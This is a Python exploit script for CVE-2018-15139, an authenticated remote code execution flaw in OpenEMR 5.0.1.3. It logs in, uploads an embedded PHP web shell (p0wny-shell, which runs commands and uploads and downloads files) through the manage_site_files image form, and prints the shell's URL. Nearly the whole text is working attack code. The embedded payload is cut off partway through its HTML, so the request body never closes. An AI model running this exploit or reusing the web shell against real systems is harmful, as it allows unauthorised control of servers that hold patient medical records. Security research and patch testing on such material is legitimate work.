# Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
# Date 12.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: Prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15139
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139

'''
Description:
Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote
authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload
form and accessing it in the images directory.
'''


'''
Banner:
'''
banner ="""
 ___                   _____ __  __ ____            ____   ___   _   _____  
  / _ \ _ __   ___ _ __ | ____|  \/  |  _ \          | ___| / _ \ / | |___ /  
 | | | | '_ \ / _ \ '_ \|  _| | |\/| | |_) |  _____  |___ \| | | || |   |_ \  
 | |_| | |_) |  __/ | | | |___| |  | |  _ <  |_____|  ___) | |_| || |_ ___) | 
  \___/| .__/ \___|_| |_|_____|_|  |_|_| \_\         |____(_)___(_)_(_)____/  
       |_|                                                                    

                    _____            _       _ _   
                    | ____|_  ___ __ | | ___ (_) |_ 
                    |  _| \ \/ / '_ \| |/ _ \| | __|
                    | |___ >  <| |_) | | (_) | | |_ 
                    |_____/_/\_\ .__/|_|\___/|_|\__|
                               |_|                  

"""
print(banner)


'''
Import required modules
'''
import argparse
import requests


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Remote Code Execution')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD

'''
Authentication:
'''
# Preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)

# Header (auth):
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': auth_chek_url,
    'Upgrade-Insecure-Requests': '1',
}

# Body (auth):
body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
}

# Authentication:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)


'''
Exploit:
'''
print('')
print('[+] Uploading Webshell:')

# URL:
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'

# Headers (Exploit):
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "multipart/form-data; boundary=---------------------------31900464228840324774249185339",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php',
    "Upgrade-Insecure-Requests": "1"
}

# Body (Exploit):
body = "-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filedata\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n12000000\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_image\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radi

# Send Exploit:
session.post(exploit_url, headers=header, data=body)

# Finish
path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'
print('[+] Webshell: ' + path)